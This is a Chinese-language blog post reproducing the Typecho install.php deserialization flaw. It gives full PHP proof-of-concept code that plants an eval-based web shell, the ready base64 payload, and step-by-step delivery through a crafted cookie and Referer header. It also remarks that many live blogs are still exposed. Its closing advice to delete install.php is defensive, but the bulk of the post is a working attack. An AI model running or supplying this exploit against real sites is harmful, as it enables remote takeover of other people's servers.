typecho是一个比较简单而轻便的博客程序,相比wordpress的臃肿,它的轻量化也得到了很多人的喜爱,特别是你的服务器的配置偏低的时候
这次爆出的是任意代码执行漏洞,可以直接getshell,危害非常大
漏洞主要出在install.php上,具体的漏洞分析可以参见
漏洞复现
首先要构造Poc,这里我们用现成的
<?php class Typecho_Feed{ const RSS2 = "RSS 2.0"; private $_type; private $_version; private $_charset; private $_lang; private $_items = array(); public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en'){ $this->_version = $version; $this->_type = $type; $this->_charset = $charset; $this->_lang = $lang; } public function addItem(array $item){ $this->_items[] = $item; } } class Typecho_Request{ private $_params = array('screenName' => "file_put_contents('1ndex.php', '<?php eval(\$_POST[1]);//123123?>')"); private $_filter = array('assert'); } $p1 = new Typecho_Feed(1); $p2 = new Typecho_Request(); $p1->addItem(array('author' => $p2)); $exp = array('adapter' => $p1, 'prefix' => 'th1s'); echo base64_encode(serialize($exp)); ?> </code> |
其中想执行的代码和shell文件名直接在Typecho_Request类下修改即可
这里我们直接写入一个shell
然后在浏览器里访问得到poc
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NTp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIyOiIAVHlwZWNob19GZWVkAF92ZXJzaW9uIjtpOjE7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJlbiI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjY6ImZpbGVfcHV0X2NvbnRlbnRzKCcxbmRleC5waHAnLCAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOy8vMTIzMTIzPz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NDoidGgxcyI7fQ |
然后我们访问博客的install.php页面,如果人家没删的话,Get方式传递参数finish并添加referer头,然后将我们的poc赋给cookie的__typecho_config即可
现在我们就已经成功写入shell了
Now we getshell
这次的漏洞复现比较简单而且利用条件也不是很苛刻,基本上装完没删install.php的都会中枪,在本地复现完以后我也在网上搜索了一下,发现很多博客都没有删除install.php,不过也有很多意识好的已经删了,目测又是一波抓鸡行动
虽然官方也推送了最新的beta版并修复了这一漏洞,但是诸多用正式版的还是暴露在危险之下,所以最好赶紧回去把文件给删了。。。